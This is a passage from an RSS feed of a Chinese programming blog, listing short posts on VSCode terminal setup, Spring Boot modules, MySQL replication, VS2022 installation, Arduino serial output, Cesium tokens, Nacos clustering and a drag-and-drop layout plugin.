      <link>https://bchobby.github.io/posts/a1c1226866b65bc49eb688ebc740d1e4/</link>
      <pubDate>Sat, 18 Dec 2021 15:03:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a1c1226866b65bc49eb688ebc740d1e4/</guid>
      <description>文章目录 环境前言setting.jsonselect default 环境 Windows 10&#xA;VSCode v1.63.1&#xA;前言 在使用 VSCode 编辑器时，有时想要在当前目录启动 shell 进行一些命令行操作，直接快捷键 Ctrl + `，但一般打开的都是系统默认的命令行。&#xA;如上图所示，windows 10 默认的就是 PowerShell。其实我本地还有一个自己安装的 shell，但选择默认列表里不存在，那我想要作为 VSCode 的终端 shell 需要怎么办呢？&#xA;setting.json 要设置自己安装的终端作为 VSCode 的默认终端，则可以修改 VSCode 的 setting.json 文件。&#xA;打开设置&#xA;打开 setting.json&#xA;设置终端软件&#xA;&#34;terminal.integrated.profiles.windows&#34;: { &#34;nu&#34;: { &#34;path&#34;: &#34;C:\\Users\\xxx\\.cargo\\bin\\nu.exe&#34; } } 我这边使用的是 nushell&#xA;select default 根据步骤设置完保存，再 Ctrl + `，就可以看到我们设置的终端可以选择了&#xA;选择最下面的 Select Default Profile，选中 nu&#xA;关闭当前终端，Kill Termial&#xA;再次 Ctrl + `，即可进入我们新设置的终端。</description>
    </item>
    <item>
      <title>springboot 多模块</title>
      <link>https://bchobby.github.io/posts/9421f327c8d0486796eab4074fec83b2/</link>
      <pubDate>Sat, 18 Dec 2021 13:37:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9421f327c8d0486796eab4074fec83b2/</guid>
      <description>新建项目：&#xA;新建好的项目呢，咱们把多余的删掉，没有什么用处了，新建的作为父容器&#xA;然后开始新建两个Module,一个为start(启动类)，一个为info&#xA;info也如上图一样建立就可以了 然后在父级模块(根目录)下的pom中引入两个模块 记得添加packaging 为pom&#xA;然后呢将两个模块的pom.xml中的parent改为父工程中的数据(groupId、artifactId、version)，将父级的三个值复制过来即可，info模块也如下图所示&#xA;然后start下的pom.xml中将info作为依赖也引入进来，然后删除info模块的InfoApplication类,新建一个普通类，我这边新建了一个controll类 ，代码如下&#xA;如果在书写的时候返现找不到@RestController注解，在start模块中增加@ComponentScan(&#34;com.example&#34;)扫描&#xA;接下来我们就可以在start中的startApplication类上启动啦,启动后，浏览器中http://localhost:8080/hello 就可以访问到输出的hello啦</description>
    </item>
    <item>
      <title>mysql 8.0 &#43; Last_IO_Error: error connecting to master ‘root@XXX:3306‘ - retry ...</title>
      <link>https://bchobby.github.io/posts/978b1d84d489075308936192d9b86707/</link>
      <pubDate>Sat, 18 Dec 2021 11:33:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/978b1d84d489075308936192d9b86707/</guid>
      <description> 一、问题 在进行两台linux机器进行MySQL8.0.13主从配置的时候，配置主从之后，在从库mysql进行显示信息&#xA;show slave status \G;&#xA;出现了&#xA;Last_IO_Error: error connecting to master &#39;root@XXX:3306&#39; - retry-time: 60 retries: 1&#xA;二、分析 1.在mysql的data目录下 ，用linux cat命令打开XX.err错误日志文件&#xA;cat XXX.err&#xA;一直有重试信息&#xA;2.尝试ping主库，连通性没有问题&#xA;ping xxx&#xA;3.可能是主机授权相关有问题，还有本机change master相关命令有问题。&#xA;三、实际解决 1.主库开发ip访问 首先得确认主库是否都正常，本地都能连接代表访问是没有问题的。&#xA;mysql 8.0 + 向所有IP 开放连接_ycsdn10的博客-CSDN博客&#xA;2.重新处理从库同步 （1）关闭从库配置&#xA;stop slave; （2）重新配置 ##重新改master_host为主库ip，原先是域名&#xA;change master to master_host=&#39;XXX&#39;,master_port=3306,master_user=&#39;root&#39;,master_password=&#39;123456&#39;&#xA;,master_log_file=&#39;mysql-bin.000003&#39;,master_log_pos=195;&#xA;（3）重新开启&#xA;start slave;&#xA;3.查看结果 show slave status \G;&#xA;成功进行同步 </description>
    </item>
    <item>
      <title>关于VS那些宏定义（输出目录，中间目录，解决方案目录）</title>
      <link>https://bchobby.github.io/posts/b4d531577a546c2f48b881ad49ebf9b2/</link>
      <pubDate>Sat, 18 Dec 2021 11:14:11 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b4d531577a546c2f48b881ad49ebf9b2/</guid>
      <description>输出目录 输出目录在对应的项目配置属性-》常规-》输出目录里面设置&#xA;默认路径的话是下面的路径&#xA;( S o l u t i o n D i r ) (SolutionDir) (SolutionDir)(Platform)$(Configuration)&#xA;这几个都是宏定义，如果想看他们具体的解释的话，&#xA;点击浏览-》即可查看这个这个路径$(SolutionDir）所对应的地方&#xA;$(SolutionDir） 解决方案配置文件所在的路径，即.sln文件所在的地方&#xA;如果想知道这个路径具体是在哪-》点击编辑&#xA;如果想编辑这个路径，或者想查看这个宏所代表的路径-》点击右下角那个宏&#xA;具体哪个宏的定义都可以看到他们的定义，如果想在路径里面添加宏的话，选中对应的宏-》点击插入&#xA;也可以像这样，宏定义加自定义路径&#xA;$(SolutionDir)includes\aoi\halcon\include</description>
    </item>
    <item>
      <title>VS2022安装教程和使用说明来了</title>
      <link>https://bchobby.github.io/posts/f0db8207365f80374a216b3d05170913/</link>
      <pubDate>Fri, 17 Dec 2021 21:56:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f0db8207365f80374a216b3d05170913/</guid>
      <description>我看很多小伙伴已经开始迫不及待的安装VS2022了，虽然我也安装了VS2022，但是我依旧使用VS2019。因为我觉得适合我的才是最好的，并非是最新的，所以大家在使用的时候，根据实际需求选择开发工具，不要一味追求最新，要考虑是否符合你当下的开发。&#xA;下面我把VS2022开发工具安装教程分享给大家，同时大家想去下载这个，可以在公众号中输入“VS2022”，我提供的是社区版本。如需其它版本，自行去到微软官方下载。&#xA;下面我就将VS2022的安装过程和使用过程给喜欢的小伙伴分享一下，首先我们来看一下他的安装步骤，安装步骤极其简单，如果安装过其他版本的小伙伴，就会非常熟悉。&#xA;01&#xA;—&#xA;安装教程&#xA;第一：先下载VS2022社区版，下载的方式，可以通过微软官方下载，也可以通过在当前微信公众号中输入“VS2022”关键字进行下载。&#xA;第二：双击下载好的.exe文件，如下所示。&#xA;第三：开始加载资源进入安装，如下所示。&#xA;第四：选择需要安装的工作负荷，通常我们会用VS开发Web应用程序以及桌面应用程序，所以这两个是必须选择的，如果涉及到其它需要的，可以现在勾选上，也可以等需要用的时候再进行添加。&#xA;第五：选择单个组件，注意VS2022侧重跨平台开发，所以VS2022不需要单独勾选.NET Core，此工具已经将.NET Core和.NET Framework集成到一起了。如果想要创建基于.NET Framework的Web项目，需要把.NET Framework项目和项模板勾选上，如下图所示&#xA;第六：语言包，选择中文(简体)。&#xA;第七：安装位置。&#xA;提示：安装前，一定要先查看自己的硬盘是否有足够的存储空间，尤其是系统盘，因为VS和SQLServer安装，有一些程序会默认选择系统盘。&#xA;第八：配置完成后，点击安装按钮，进入安装的状态，如下所示。&#xA;提示：这个过程会根据你电脑的运行速度，所以耐心等待，可以选择喝点咖啡，等待安装完成。如果安装过程中出现任何问题，那么会存在安装失败的问题，碰到安装失败的问题，查一下具体失败的原因，找到解决办法。&#xA;安装完成后如下所示：&#xA;如果在安装过程中可能忘记勾选某个版本程序集，此时可以点击上图所示的“修改”按钮，重新勾选，进行安装即可。&#xA;怎么样，VS安装是不是很简单，它比起安装SQL Server可要轻松多了，因为SQL Server会涉及到系统的一些权限等等，失败的概率比较高，但是干净的系统安装SQL Server是没有问题的。&#xA;如果想知道SQL Server怎么安装的，可以查看公众号中关于SQL Server2019的安装步骤。&#xA;打开后显示的起始界面如下所示：&#xA;下面我们进入到第二个环节，看看如何使用VS2022创建项目。&#xA;02&#xA;—&#xA;VS2022基本使用&#xA;第一：打开安装好的VS2022快捷键，会进入到启动页，如上图所示，然后进入到如下图所示的界面。&#xA;怎么样，看起来是否熟悉，这和你VS2019一样，那下面我们点击创建新项目。&#xA;第二：创建一个控制台应用程序。&#xA;配置完成后，点击创建即可。&#xA;从图上可以看出，除了图表颜色有点区别，其他的都一样。&#xA;第三：创建一个窗体应用程序。&#xA;选择基于.NET Framework，这个和VS2019一样，这一步配置部分我就省略了，和控制台配置一样。&#xA;同样，除了图标稍微有区别，结构都是一样的。&#xA;第三：创建Web应用程序。&#xA;创建Web应用程序，如果在安装单个组件的时候没有选择.NET Framework项目和项模板，会找不到基于.NET Framework版本Web项目，所以想要使用基于.NET Framework版本的，需勾选上此选项，这个版本更侧重.NET Core的开发。&#xA;配置如下所示：&#xA;项目创建完成的结构如下所示：&#xA;如果要创建.NET Core跨平台项目，选择.NET Core即可，可以放心安装VS2022吧，因为它针对.NET Core做了更多的改进和封装。&#xA;VS2022是64位的，运行效率也是非常高的，而且从2019开始就有了热重载，也就是你运行过程中，也能对代码进行修改。&#xA;VS2022还集成了很多其它的前端框架，以及其它语言的开发集成。&#xA;OK，VS2022开发工具安装和基本使用，我就给大家分享到这儿，如果还不够清楚的，可以去官方看看说明，根据实际情况选择安装版本。&#xA;喜欢的小伙伴记得给我点赞加关注，这样我才更有动力为大家去分享更多的内容。</description>
    </item>
    <item>
      <title>参加美赛能给计算机保研er带来些什么？</title>
      <link>https://bchobby.github.io/posts/93b2a32cc9481b86c3fd54a92785e638/</link>
      <pubDate>Fri, 17 Dec 2021 21:30:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/93b2a32cc9481b86c3fd54a92785e638/</guid>
      <description>寒假临近，保研er们可以好好利用这个假期全方面地提升自身背景，例如参加各类比赛或者制作一些项目。一般情况下寒假期间可以参加的竞赛较少，但有这样一项竞赛正是此期间开展——数学建模美赛。竞赛经历缺乏的同学可以好好把握住这个机会，认真准备，争取获得不错的名次。今天，岛主就来谈一谈计算机保研er参加美赛能收获什么？&#xA;一、走进数学建模美赛&#xA;1． 简介&#xA;美赛全称为美国大学生数学建模竞赛，是由美国数学及其应用联合会主办，是唯一的国际性数学建模竞赛，也是世界范围内影响力最大的数学建模竞赛，每年都会有来自世界各个国家上万只队伍参赛。&#xA;赛题内容涉及经济、管理、环境、资源、生态、医学、安全、未来科技等众多领域。竞赛要求三人为一组，在四天时间内，就指定的问题完成从建立模型、求解、验证到论文撰写的全部工作，体现了参赛选手解决问题的能力、创新思维以及团队合作精神。&#xA;2． 奖项设置&#xA;美赛一共设置六个奖项，获奖难度由高到低分别是Outstanding Winner(美赛特等奖)、Finalist(美赛特等奖提名)、Meritorious Winner(美赛一等奖)、Honorable Mention(美赛二等奖)、Successful Participant(成功参赛奖)、Unsuccessful Participant(不成功参赛)。这几个奖项，分别被缩写为O奖、F奖、M奖、H奖、S奖、U奖。其中，O奖&#xA;从近几年的获奖情况来看，O奖的获奖比例在历年中不超过1%；F奖获奖队伍比O奖略多，但占比在1%左右；M奖的获奖比例基本上在5%~10%之间；H奖人数较多，占比基本在30%±10%；S奖为成功参与奖，只要成功提交不跑题的论文就能拿到。而U奖则是颁给论文抄袭、违反规则、论文未按时提交的团队。&#xA;3．含金量&#xA;数学建模比赛面向各个专业开放，对于计算机专业的同学来说，编程能力相比于其他专业的同学更具优势。如果能获得H及以上奖项，对各位都有不小的帮助。数学建模比赛不仅考察大家的建模能力，更是对作品的创新性有一定的要求。&#xA;不少导师在招生时比较喜欢参加过数学建模并获得优秀成绩的同学。因此，美赛对于计算机保研具有一定的含金量。虽然其含金量略低于ACM等竞赛，但其时间成本相对来说较低。对于缺乏竞赛经历的同学来说是不错的选择，美赛的获奖经历能帮助大家丰富自身背景。&#xA;二、 参加美赛能为大家带来什么？&#xA;1. 提高建模能力、英语写作能力&#xA;美赛相比于国赛来说比赛时间更长，是四天，而且语言要求是英语，且题目相对于与国赛来说更加具有开放性与创新性。美赛题目共两类六题（MCM与ICM各三题），其中MCM题目的数理思想较强，ICM体现在交叉领域，要求知识面较为宽泛。参与美赛不管最后选择做哪个题，本身就是一个挑战。很多保研的同学没有接触过英文论文的写作与阅读，参与美赛在帮助大家提升自身建模能力的同时也会提高各位的英文能力。美赛时间集中在过年寒假放假期间，大家可以选择晚回家几天或者和队友线上进行讨论答题等方式。相信任何同学在参与了比赛之后都会有新的体验。&#xA;2. 获奖对保研有帮助&#xA;美赛获奖有一定含金量，很多院校的老师也会关注美赛获奖的等级。因为美赛参与的人数较多，并且获奖率相比于国赛来说较高，因此很多老师认为美赛获奖是一项加分项，具体加分多少需要看各位获奖等级。美赛O奖、F奖是一个较大的加分项，因为每年一道题只有很少很少的队伍才能拿到这样的奖项，拿到这类奖项的同学可以在简历中重点突出。拿到M奖是一个很好的成绩，大约只有7%左右的同学会拿到这类等级的奖项，拿到H奖也是个不错的成绩，每年只有不到30%的同学能获得这一等级奖项。&#xA;美赛的获奖经历对各位保研是有一定的加分，但是具体情况还得看大家报考的院校的层次以及拿到奖项的等级。但需要注意的是，在计算机保研中大多数的同学都会有建模经历，拿一个相对来说不错成绩还是有一定的说服力的。&#xA;3. 有利于参加其他竞赛&#xA;数学建模比赛重点考察大家建模能力、编程能力以及论文写作能力，通过准备建模比赛，同学们的各项能力将有所提升。考虑到美赛一般要求3人参加，这三人的任务分工应有所侧重。对于计算机专业的同学来说，在数学建模比赛中主要负责编程实现，需要大家具备较强的编程能力。&#xA;编程实现模型使用到的算法比同学们在课上学的基本算法要难出不少，所以大家在备赛阶段更需要注重对建模经典算法的学习，了解每一种算法的适用范围，在此基础上学习深层次的内容，如神经网络等知识。一般情况下，神经网络中的相关模型在数学建模比赛中发挥着不小的作用。因此，计算机专业低年级的学生若尚未接触相关领域，可选择自学相关内容。&#xA;同学们在备赛的过程中自学了经典算法、神经网络等知识，对于大家参加其他竞赛也有不小的帮助。另外，数学建模美赛和国赛需要准备的内容相差不大，大家在认真准备美赛后对参加下半年的国赛也有不小的帮助。&#xA;4. 对找工作有帮助&#xA;如果同学们在校期间参加建模比赛并获奖，这能为大家的简历添上重要的一笔，对于今后找工作面试有一定的帮助。&#xA;美赛需要大家在规定时间内完成对某一课题的研究，而这也相当于一个小型的项目，大家可以在此基础上进行不断改进，做出一个完整的项目，在面试的时候可以向面试官介绍自己做的这一项目。&#xA;另外，在数学建模中，数据占据十分重要的地位。大家在选题的时候就应该考虑到数据的来源、在研究过程中需要对数据进行处理、在得出结论的时候需要对数据进行分析。这一过程需要同学们具备许多数据分析处理相关的技能，掌握了这些技能有利于大家今后从事数据分析相关岗位。&#xA;5. 参赛论文能转化为论文发表&#xA;美赛需要大家最终提交一篇英文论文，对大家几天研究成果进行总结。在此过程中，同学们对英文论文撰写的相关要求也有了一定的了解。在参加完比赛后，美赛论文还有很大的价值等待大家挖掘，即转换为论文发表。&#xA;各位可以研究参赛论文中具有科研价值的点，将其放大并做相关研究，便可以把参加论文转换为一篇论文发表。如果大家对此没有经验，可以联系计算机保研岛，有资深的学长学姐对大家进行指导。&#xA;如果同学们能在比赛中拿到较高的奖项，这绝对是一个加分项，对于申请顶尖的院校也有不小的帮助。大家可以在优秀参赛论文的基础上产出其他成果。若各位在本科阶段便有论文发表经历，这对于大家今后保研、找工作都有很大的帮助。所以岛主建议大家尽量参与这项比赛。&#xA;三、 关于参加美赛的一些建议&#xA;1. 对保研来说含金量不如ACM等，但值得尝试&#xA;对于顶尖的院校比如清北交浙这几个计算机专业强校，美赛的奖项在某些评审老师来看是没有特别大的加分项的，他们更看重ACM、Kaggle等知名的编程算法类竞赛。但此类比赛一般比较硬核，如果不是长时间系统训练过的同学很难拿到优异的成绩，时间成本较大。与之相比，美赛的时间成本较低，获奖相对来说较容易，对于大部分同学来说是一个不错的选择。&#xA;2. 尽量跨学院组队，队友很重要&#xA;美赛一般需要3人组队参加，同学们在选择队员的时候尽量跨学院组队。对于计算机专业的同学来说，可以选择数学学院、英语学院的同学组队参加。一般来说，数学学院的同学数学建模能力较强，英语学院的同学论文写作能力较强，而来自计算机学院的各位编程能力较强。跨学院组队才能最大限度地发挥团队的优势，大家各司其职，在规定的时间内完成指定任务。&#xA;另外，同学们在选队友的时候尽量选择靠谱的队友，有参赛经历优先。团队合作需要大家共同努力，才能在短时间内完成任务。而一旦有一方临阵脱逃，这将在一定程度上加大其他队友的工作量，也会影响大家的进度。&#xA;3. 注重英文写作，LATEX用起来&#xA;美赛需要大家提交英文论文，这对同学们的英文写作水平有着不低的要求。大家在备赛的过程中可以多阅读历年获奖的优秀论文，学习他人使用的高级词汇、表达方式等，并将其运用到自己的论文中。另外，岛主建议大家尽量使用LATEX排版，不会的同学应尽早学习。&#xA;4. 选题需谨慎，数据很重要&#xA;比赛一般会为大家提供几个赛题，同学们在选择的过程中一定要谨慎。在阅读完所有题目后，应该选择各位把握度最高、有较多想法的题目，这样有利于大家后续工作的开展、在研究中体现创新性。&#xA;同时，在选题时需要考虑数据来源，尽量选择有公开数据集的题目，能找到数据支撑。岛主不太建议大家自己造数据，往往会带来不小的麻烦。&#xA;四、总结&#xA;数学建模美赛能很好地锻炼大家各方面的能力，如英文能力、建模能力、沟通能力等。同学们在参赛的过程中收货了知识、增长了才干、结识了新的朋友，是各位大学时期较为珍贵的经历。若能成功获奖，在丰富自身简历的同时对今后的各类面试也有帮助。因此，岛主建议大家尽早报名，认真备赛，预祝同学们都能取得满意的成绩。</description>
    </item>
    <item>
      <title>esp01s如何烧录、接线///arduino串口想输出字符串，但是输出了数字</title>
      <link>https://bchobby.github.io/posts/c0fe35d495fad77258afd9c09a233000/</link>
      <pubDate>Fri, 17 Dec 2021 17:49:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c0fe35d495fad77258afd9c09a233000/</guid>
      <description> esp01s与usb转ttl接线：&#xA;esp01s连线usb转ttl3V3---------3V3GND---------GNDRX---------TXDTX---------RXDIO0---------GND IO0接地作用是：进入烧录模式，&#xA;IO0接地之后需要断电，重新上电。&#xA;完成烧录后需要 断开 IO0与GND否则程序无法运行。&#xA;arduino串口想输出字符串，但是输出了数字 int RXString; if(Serial.available()&amp;gt;0) { RXString = Serial.read(); Serial.write(RXString); } 这是一个串口透传代码：即接收到来自串口数据就立即发送出去。&#xA;遇到的问题是，串口输入字符串，输出的是数字。&#xA;比如输入A，输出65&#xA;实际上，65是ASCII码的“A”，所以arduino的串口输出并无错误。&#xA;那么如何输出“A”呢，只需要将输出RXString转换成char即可&#xA;int RXString; if(Serial.available()&amp;gt;0) { RXString = Serial.read(); Serial.write(char(RXString)); } </description>
    </item>
    <item>
      <title>vxe-table的样式，涉及边框</title>
      <link>https://bchobby.github.io/posts/46588c4e402f5d8b3acb91edc259e6ad/</link>
      <pubDate>Fri, 17 Dec 2021 14:01:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/46588c4e402f5d8b3acb91edc259e6ad/</guid>
      <description>vxe-tabel 相关样式&#xA;关于table&#xA;//每一行悬浮 .vxe-table--render-default .vxe-body--row.row--hover{ background: rgba(25,254,255,0.10) } //展开三角箭头效果 .vxe-table--render-default .vxe-tree--node-btn{ color: rgba(25,254,255,0.20); } //展开三角箭头悬浮效果 .vxe-table--render-default .vxe-tree--node-btn:hover{ color: rgba(25,254,255); } //表头边框颜色 .vxe-table .vxe-table--header-wrapper .vxe-table--header-border-line{ border-bottom-color: rgba(25,254,255,0.10); } //表内容的边框颜色 .vxe-table--render-default.border--inner .vxe-body--column { background-image: linear-gradient(rgba(25,254,255,0.10),rgba(25,254,255,0.10)); } 有关于多选框&#xA;//修改多选框还未选中的样式--涉及背景和边框 .vxe-table--render-default .vxe-cell--checkbox .vxe-checkbox--icon:before{ background-color: transparent; border-color: #19feff; } //悬浮的样式 .vxe-table--render-default .vxe-cell--checkbox:not(.is--disabled):hover .vxe-checkbox--icon:before{ background-color: transparent; border-color: #19feff; } //选中时对勾的颜色 .vxe-table--render-default .vxe-cell--checkbox .vxe-checkbox--checked-icon:after{ border-color: #19feff; } //子集选择之后,父级多选框-(横条)的颜色 .vxe-table--render-default .is--indeterminate.vxe-cell--checkbox .vxe-checkbox--icon:before{ background-color: transparent; border-color: #19feff; } //父级选中后,子集的多选框颜色 .</description>
    </item>
    <item>
      <title>cesium 地图无法加载 报错401 缺少token</title>
      <link>https://bchobby.github.io/posts/edac54c3ca842612ccac34f939073608/</link>
      <pubDate>Fri, 17 Dec 2021 11:41:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edac54c3ca842612ccac34f939073608/</guid>
      <description> cesium 地图无法加载 报错401 缺少token 首先，报错401 说明用户没有访问权限,需要进行身份认证，也就是cesium需要密钥，也是最近实行的吧，因为之前不用也能加载出地图。&#xA;token 密钥获取 token 获取地址[https://cesium.com/ion/tokens?page=1]&#xA;(https://cesium.com/ion/tokens?page=1)&#xA;首先需要注册登录&#xA;进行如上操作后，右边栏就是你的token&#xA;使用的时候只需要复制token，再地图viewer创建前声明 即可加载地图&#xA;initMap() { Cesium.Ion.defaultAccessToken = &#34;你的token&#34; var viewer = new Cesium.Viewer(&#39;mapcontainer&#39;); return viewer }, </description>
    </item>
    <item>
      <title>SpringCloud-Spring Cloud Alibaba Nacos集群架构(Day11)</title>
      <link>https://bchobby.github.io/posts/edfc0933e6a000414dc5e611af31bae6/</link>
      <pubDate>Thu, 16 Dec 2021 17:32:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/edfc0933e6a000414dc5e611af31bae6/</guid>
      <description>Nacos集群架构 nacos默认自带的是嵌入式数据库derby，在0.7版本之前，在单机模式时nacos使用嵌入式数据库实现数据的存储，不方便观察数据存储的基本情况。0.7版本增加了支持mysql数据源能力，具体的操作步骤:&#xA;安装数据库，版本要求:5.6.5+初始化mysq数据库，数据库初始化文件: nacos-mysql.sql修改conf/application.properties文件，增加支持mysql数据源配置（目前只支持mysql)，添加mysql数据源的url、用户名和密码。 ############################################################ spring.datasource.platform=mysql db.num=1 db.url.0=jdbc:mysql://127.0.0.1:3306/nacos_config?characterEncoding=utf8&amp;amp;connectTimeout=1000&amp;amp;socketTimeout=3000&amp;amp;autoReconnect=true db.user=root db.password=123456 修改数据库 修改集群地址配置 cp cluster.comf.example cluster.conf 192.168.0.135:3333 192.168.0.135:4444 192.168.0.135:5555 修改Nacos启动脚本 while getopts &#34;:m:f:s:p:&#34; opt do case $opt in m) MODE=$OPTARG;; f) FUNCTION_MODE=$OPTARG;; s) SERVER=$OPTARG;; p) PORT=$OPTARG;; ?) echo &#34;Unknown parameter&#34; exit 1;; esac done # start echo &#34;$JAVA ${JAVA_OPT}&#34; &amp;gt; ${BASE_DIR}/logs/start.out 2&amp;gt;&amp;amp;1 &amp;amp; nohup $JAVA -Dserver.port=${PORT} ${JAVA_OPT} nacos.nacos &amp;gt;&amp;gt; ${BASE_DIR}/logs/start.out 2&amp;gt;&amp;amp;1 &amp;amp; echo &#34;nacos is starting，you can check the ${BASE_DIR}/logs/start.out&#34; 启动  ~/Downloads/nacos/bin/ .</description>
    </item>
    <item>
      <title>手把手教写拖拽和布局插件（求小星星）</title>
      <link>https://bchobby.github.io/posts/5d33593e5245765e177466d5aeea8ead/</link>
      <pubDate>Thu, 16 Dec 2021 15:47:06 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5d33593e5245765e177466d5aeea8ead/</guid>
      <description>最近看了《某科学的一方通行》，突然就很喜欢一方通行大爷的性格和爽朗的笑声，于是打算写一个小插件碰瓷一下一方通行大爷的名字。&#xA;插件地址&#xA;功能 定位拖拽(可用键盘上下左右键控制)(可通过选框多选拖拽)缩放参考线吸附&#xA;安装 npm install acceleratorkunn然后就可以使用了,需要传入一个DOM对象，这个DOM对象必须要拥有父元素 import {Accelerator} from &#39;acceleratorkunn&#39; const domEl = document.createElement(&#39;div&#39;) document.body.appendChild(domEl) new Accelerator(domEl) 如果是在vue中使用的话有更加简单的方式： import { VueAccelerator } from &#39;acceleratorkunn&#39; Vue.use(VueAccelerator) 然后就会全局注册一个v-accelerator的vue指令，和一个accelerator组件。&#xA;指令使用方法：&#xA;&amp;lt;div v-accelerator&amp;gt;&amp;lt;/div&amp;gt; 组件使用方法：&#xA;&amp;lt;accelerator&amp;gt;&amp;lt;/accelerator&amp;gt; 更复杂的用法后面再讲。&#xA;参数 new Accelerator(domEl,config)接收两个参数：&#xA;domEl : 之前解释过，这个参数必须是一个DOM对象，而且必须拥有父元素。必填。config : 配置，(Object) config.x （String | Number) 默认值：&#39;0px’&#xA;domEl的x坐标，等同于绝对定位中的left。这个值可以是数字，也可以是字符串，但只支持’px’和’%‘两种单位，没有单位则默认是’px’，例：10,‘10’,‘10px’,&#39;20%&#39;等等。&#xA;注意，当单位是’%&#39;的时候，如果父元素的尺寸发生改变，domEl的x坐标会根据百分比来重新计算改变位置,例：父元素宽度为800px,设x为20%，那么此时domEl的left应该是160px。当父元素宽度变为1000px时，此时domEl的left会重新计算变成200px。注意，当没有传这个参数时，如果domEl本身就是绝对定位元素，会优先取该元素的left值,单位为’px’ config.y （String | Number） 默认值：&#39;0px’&#xA;domEl的y坐标，等同于绝对定位中的top。这个值可以是数字，也可以是字符串，但只支持’px’和’%‘两种单位，没有单位则默认是’px’，例：10,‘10’,‘10px’,&#39;20%&#39;等等。&#xA;注意，当单位是’%&#39;的时候，如果父元素的尺寸发生改变，domEl的y坐标会根据百分比来重新计算改变位置。例：父元素高度为800px,设y为20%，那么此时domEl的top应该是160px。当父元素高度变为1000px时，此时domEl的top会重新计算变成200px。注意，当没有传这个参数时，如果domEl本身就是绝对定位元素，会优先取该元素的top值,单位为’px’ config.width (String | Number) 默认值：&#39;200px’&#xA;domEl的宽度。这个值可以是数字，也可以是字符串，但只支持’px’和’%‘两种单位，没有单位则默认是’px’，例：10,‘10’,‘10px’,&#39;20%&#39;等等。&#xA;注意，当单位是’%&#39;的时候，如果父元素的尺寸发生改变，domEl的宽度会根据百分比来重新计算改变位置。例：父元素宽度为800px,设width为20%，那么此时domEl的宽度应该是160px。当父元素宽度变为1000px时，此时domEl的宽度会重新计算变成200px。注意，当没有传这个参数时，会优先取domEl元素的宽度width,单位为’px’ config.height (String | Number) 默认值：&#39;200px’&#xA;domEl的高度。这个值可以是数字，也可以是字符串，但只支持’px’和’%‘两种单位，没有单位则默认是’px’，例：10,‘10’,‘10px’,&#39;20%&#39;等等。</description>
    </item>
    <item>
      <title>手把手教写拖拽布局插件（多选以及多选拖拽篇）</title>
      <link>https://bchobby.github.io/posts/0aedb03447bae5c247962255e6efa05b/</link>
      <pubDate>Thu, 16 Dec 2021 15:43:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0aedb03447bae5c247962255e6efa05b/</guid>
      <description>之前的拖拽缩放开发完了，但是只能单个单个操作，很多时候布局的时候是想多个元素作为一组一起移动的，所以还需要多选功能。先放效果图：&#xA;完成这个功能有几个问题需要考虑：&#xA;虚线选框怎么写怎么判断哪些元素被虚线选框选中了被多选的元素怎么一起移动 问题解决 1.虚线选框怎么写？ 虚线选框我直接使用的div元素配合css样式来实现。&#xA;在window上绑定mousedown、mousemove和mouseup事件。&#xA;mousedown事件记录鼠标点下的位置,并将虚线选框的定位定到这个位置。&#xA;mousemove事件实时更新虚线选框的宽度和高度&#xA;mouseup事件将选框隐藏&#xA;2.怎么判断哪些元素被选中了？ 在mousemove事件中判断。判断选没选中就是判断两个元素有没有相交。相交的方式多种多样，不是很好写，那我们证明相交可以换一种思路，可以证明两个元素不相交，两个长方形在什么情况下不相交呢？看下图：&#xA;这是两个不相交的长方形，这两个长方形不相交需要满足以下两个条件的其中一条即可：&#xA;区间 [a1,a2] 和区间[x1,x2]没有重叠部分区间 [b1,b2] 和区间[y1,y2]没有重叠部分 使用getBoundingClientRect()方法得到两个div的left,top,width,heigh。然后判断这两个元素如果没有不相交，即是相交。&#xA;3.被选中的元素怎么一起移动？ 拖拽并移动的时候，先判断一下当前被选中的有几个元素，如果只有一个元素被选中，那被拖动的就是当前的这个元素。如果有不止一个元素被选中，那就让所有被选中的元素都按照鼠标拖动的规律一起动。</description>
    </item>
    <item>
      <title>手把手教写拖拽布局插件（环境搭建篇）</title>
      <link>https://bchobby.github.io/posts/869f6f6d3328bd91e07c44c2804a3824/</link>
      <pubDate>Thu, 16 Dec 2021 15:32:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/869f6f6d3328bd91e07c44c2804a3824/</guid>
      <description>最近看了《某科学的一方通行》，突然就很喜欢一方通行大爷的性格和爽朗的笑声，于是打算写一个小插件借鉴一下一方通行大爷的名字。&#xA;这个插件主要功能设想是赋予任何元素任意定位，可以拖拽，可以缩放大小，解决的问题是方便页面布局，然后封装vue指令，方便在vue项目中使用，任何变态布局都可以轻松通过可视拖拽完成。&#xA;设想设想，这个只是设想，不代表都会实现哈&#xA;环境搭建 首先是环境搭建，由于我也是个小菜鸡，写之前构思了一下思路：&#xA;由于我要写的是js插件，所以当然是使用webpack来将es6解析成es5，然后打包成一个文件在开发时我需要启动一个本地服务来运行我写的开发用的例子打包的时候需要压缩代码，并且能够输出实际的代码可以发布npm包，供我自己爽一下 来一一解决问题：&#xA;webpack来将es6解析成es5，然后打包成一个文件：&#xA;使用 @babel/core,@babel/preset-env,babel-loader,webpack,webpack-cli&#xA;在开发时我需要启动一个本地服务来运行我写的开发用的例子:&#xA;使用 html-webpack-plugin,webpack-dev-server&#xA;打包的时候需要压缩代码，并且能够输出实际的代码:&#xA;编写两套webpack配置&#xA;可以发布npm包，供我自己爽一下&#xA;后面有，后面有，首先注册一个npm的账号哈&#xA;1.安装依赖 npm install @babel/core @babel/preset-env babel-loader webpack webpack-cli html-webpack-plugin webpack-dev-server -D&#xA;2.编写webpack.dev.config.js const path = require(&#39;path&#39;) // 引入path路径 const HtmlWebpackPlugin = require(&#39;html-webpack-plugin&#39;) // 引用解析html module.exports = { // 默认导出 mode: &#39;development&#39;, // 打包模式为development，开发环境，代码不会压缩 entry: path.join(__dirname, &#39;example&#39;, &#39;index.js&#39;), // 